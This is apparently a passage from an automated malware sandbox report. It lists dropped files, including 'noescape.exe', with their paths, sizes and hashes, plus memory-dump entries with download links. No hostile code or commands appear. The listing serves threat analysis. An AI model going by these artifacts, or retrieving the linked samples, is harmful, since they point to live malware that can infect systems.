                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Crashpad\settings.dat
                                                                        • Size 280B
                                                                        • SHA256 1ecdcdc1872a9c52217b1a80eee29fa69a1a3427196bce1d2e4e8b789b3fd958
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        throttle_store.dat
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Crashpad\throttle_store.dat
                                                                        • Size 20B
                                                                        • SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        data_0
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Default\DawnWebGPUCache\data_0
                                                                        • Size 8KB
                                                                        • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        data_1
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Default\DawnWebGPUCache\data_1
                                                                        • Size 264KB
                                                                        • SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        data_2
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Default\DawnWebGPUCache\data_2
                                                                        • Size 8KB
                                                                        • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        data_3
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Default\DawnWebGPUCache\data_3
                                                                        • Size 8KB
                                                                        • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        SCT Auditing Pending Reports
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Default\Network\SCT Auditing Pending Reports
                                                                        • Size 2B
                                                                        • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        CURRENT
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Default\Site Characteristics Database\CURRENT
                                                                        • Size 16B
                                                                        • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        MANIFEST-000001
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Default\Site Characteristics Database\MANIFEST-000001
                                                                        • Size 41B
                                                                        • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        Local State
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Local State
                                                                        • Size 1KB
                                                                        • SHA256 ee6d91b330cf33b9a1d2b9c51c783b5acedfd018d5db3267dac2e7b6236c39a8
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        Local State
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Local State
                                                                        • Size 2KB
                                                                        • SHA256 7d9e12092301515d59143274db5b9779f3c625646ac7dd52233cc228e7015f94
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        Local State
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Local State
                                                                        • Size 16KB
                                                                        • SHA256 15ed8f735a7d55053e38df10bc39c92b5224ad5e4ec14cc0ed80022d4f8a85bd
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        Local State
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Local State
                                                                        • Size 3KB
                                                                        • SHA256 143428ae617df70c58260c2bafd6ad088f6f791c99b3e372dc69ebb5e743efbf
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        Local State~RFe5807db.TMP
                                                                        • Path C:\Users\Admin\AppData\Roaming\latest.exe\EBWebView\Local State~RFe5807db.TMP
                                                                        • Size 1KB
                                                                        • SHA256 77b628e0f30223a7d4b9d2bf458992b5feaafc636077be1d1e845f38de99d5d0
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        ᨽಢዔ⮌ᡌ╤⍺ส᭔↛⭩໥ނ⼐ࠧ⸭⪐➴῅⃕ᗉ⌞࡯⚹ᰌ៻
                                                                        • Path C:\Users\Public\Desktop\ᨽಢዔ⮌ᡌ╤⍺ส᭔↛⭩໥ނ⼐ࠧ⸭⪐➴῅⃕ᗉ⌞࡯⚹ᰌ៻
                                                                        • Size 666B
                                                                        • SHA256 8dbd06e9585c5a16181256c9951dbc65621df66ceb22c8e3d2304477178bee13
                                                                        • MD5 SHA1 SHA512
                                                                        Submit Download

                                                                        noescape.exe
                                                                        • Path \??\c:\users\admin\appdata\local\temp\files\noescape.exe
                                                                        • Size 666KB
                                                                        • SHA256 d30d7676a3b4c91b77d403f81748ebf6b8824749db5f860e114a8a204bca5b8f
                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                        Submit Download

                                                                        memory/388-2151-0x0000000007180000-0x000000000719E000-memory.dmp
                                                                        Download

                                                                        memory/388-2166-0x0000000007450000-0x000000000755A000-memory.dmp
                                                                        Download

                                                                        memory/388-2094-0x0000000000A60000-0x0000000000AB2000-memory.dmp
                                                                        Download

                                                                        memory/388-2095-0x0000000005380000-0x0000000005412000-memory.dmp
                                                                        Download

                                                                        memory/388-2102-0x0000000005340000-0x000000000534A000-memory.dmp
                                                                        Download

                                                                        memory/388-2127-0x0000000006840000-0x00000000068B6000-memory.dmp
                                                                        Download

                                                                        memory/388-2164-0x0000000007900000-0x0000000007F18000-memory.dmp
                                                                        Download

                                                                        memory/388-2170-0x0000000007560000-0x00000000075AC000-memory.dmp
                                                                        Download

                                                                        memory/388-2168-0x00000000073F0000-0x000000000742C000-memory.dmp
                                                                        Download

                                                                        memory/388-2167-0x0000000007390000-0x00000000073A2000-memory.dmp
                                                                        Download

                                                                        memory/876-133-0x0000000005310000-0x00000000053AC000-memory.dmp
                                                                        Download

                                                                        memory/876-131-0x00000000009F0000-0x00000000009F8000-memory.dmp
                                                                        Download

                                                                        memory/876-411-0x0000000072F2E000-0x0000000072F2F000-memory.dmp
                                                                        Download

                                                                        memory/876-129-0x0000000072F2E000-0x0000000072F2F000-memory.dmp
                                                                        Download

                                                                        memory/1332-2309-0x00000231E3760000-0x00000231E3782000-memory.dmp
                                                                        Download

                                                                        memory/1744-351-0x000000001CA50000-0x000000001CAA0000-memory.dmp
                                                                        Download

                                                                        memory/1744-352-0x000000001CB60000-0x000000001CC12000-memory.dmp
                                                                        Download

                                                                        memory/1976-162-0x0000000000B20000-0x0000000000B74000-memory.dmp
                                                                        Download

                                                                        memory/2288-1778-0x0000000000580000-0x00000000008A4000-memory.dmp
                                                                        Download

                                                                        memory/2364-1797-0x0000000005900000-0x0000000005EA6000-memory.dmp
                                                                        Download

                                                                        memory/2364-1795-0x0000000000970000-0x00000000009D8000-memory.dmp
                                                                        Download

                                                                        memory/3308-264-0x0000000000BB0000-0x0000000000ED4000-memory.dmp
                                                                        Download

                                                                        memory/3544-157-0x0000000000400000-0x0000000000463000-memory.dmp
                                                                        Download

                                                                        memory/3544-161-0x0000000000400000-0x0000000000463000-memory.dmp
                                                                        Download

                                                                        memory/3716-292-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-234-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-223-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-294-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-298-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-227-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-307-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-311-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-304-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-239-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-302-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-221-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-225-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-245-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-242-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-219-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-313-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-290-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-300-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-235-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-237-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-309-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-1628-0x00000151186B0000-0x0000015118BA2000-memory.dmp
                                                                        Download

                                                                        memory/3716-243-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-1657-0x0000015119340000-0x0000015119394000-memory.dmp
                                                                        Download

                                                                        memory/3716-296-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-229-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-1647-0x0000015118BA0000-0x0000015119090000-memory.dmp
                                                                        Download

                                                                        memory/3716-231-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3716-1655-0x00000151190B0000-0x00000151190FC000-memory.dmp
                                                                        Download

                                                                        memory/3716-198-0x000001517D240000-0x000001517D890000-memory.dmp
                                                                        Download

                                                                        memory/3716-217-0x0000015118000000-0x000001511859A000-memory.dmp
                                                                        Download

                                                                        memory/3716-218-0x0000015118000000-0x0000015118594000-memory.dmp
                                                                        Download

                                                                        memory/3928-2305-0x0000000000400000-0x0000000000643000-memory.dmp
                                                                        Download

                                                                        memory/3928-2301-0x0000000000400000-0x0000000000643000-memory.dmp
                                                                        Download

                                                                        memory/4416-2270-0x0000000000DD0000-0x00000000010F4000-memory.dmp
                                                                        Download

                                                                        memory/4780-521-0x0000000000670000-0x0000000000671000-memory.dmp
                                                                        Download

                                                                        memory/4780-305-0x0000000000400000-0x00000000004C2000-memory.dmp
                                                                        Download

                                                                        memory/4780-130-0x0000000000670000-0x0000000000671000-memory.dmp
                                                                        Download

                                                                        memory/4808-1702-0x00000000009D0000-0x0000000000CF4000-memory.dmp
                                                                        Download

                                                                        memory/4840-134-0x0000000000400000-0x00000000004C2000-memory.dmp
                                                                        Download

                                                                        memory/4920-2068-0x0000000000360000-0x0000000000684000-memory.dmp
                                                                        Download

                                                                        memory/5148-2230-0x0000000000400000-0x00000000005CC000-memory.dmp
                                                                        Download

                                                                        memory/5148-2561-0x0000000000400000-0x00000000005CC000-memory.dmp
                                                                        Download

                                                                        memory/5148-1820-0x0000000000400000-0x00000000005CC000-memory.dmp
                                                                        Download

                                                                        memory/5212-177-0x00007FFD38850000-0x00007FFD38860000-memory.dmp
                                                                        Download

                                                                        memory/5212-176-0x00007FFD38850000-0x00007FFD38860000-memory.dmp
                                                                        Download

                                                                        memory/5212-175-0x00007FFD38850000-0x00007FFD38860000-memory.dmp
                                                                        Download

                                                                        memory/5212-178-0x00007FFD38850000-0x00007FFD38860000-memory.dmp
                                                                        Download

                                                                        memory/5212-180-0x00007FFD36450000-0x00007FFD36460000-memory.dmp
                                                                        Download

                                                                        memory/5212-179-0x00007FFD36450000-0x00007FFD36460000-memory.dmp
                                                                        Download

                                                                        memory/5212-174-0x00007FFD38850000-0x00007FFD38860000-memory.dmp
                                                                        Download

                                                                        memory/5432-0-0x0000000002110000-0x0000000002111000-memory.dmp
                                                                        Download

                                                                        memory/5432-127-0x0000000000400000-0x00000000004C5000-memory.dmp
                                                                        Download

                                                                        memory/5592-2128-0x0000000000560000-0x00000000005B2000-memory.dmp
                                                                        Download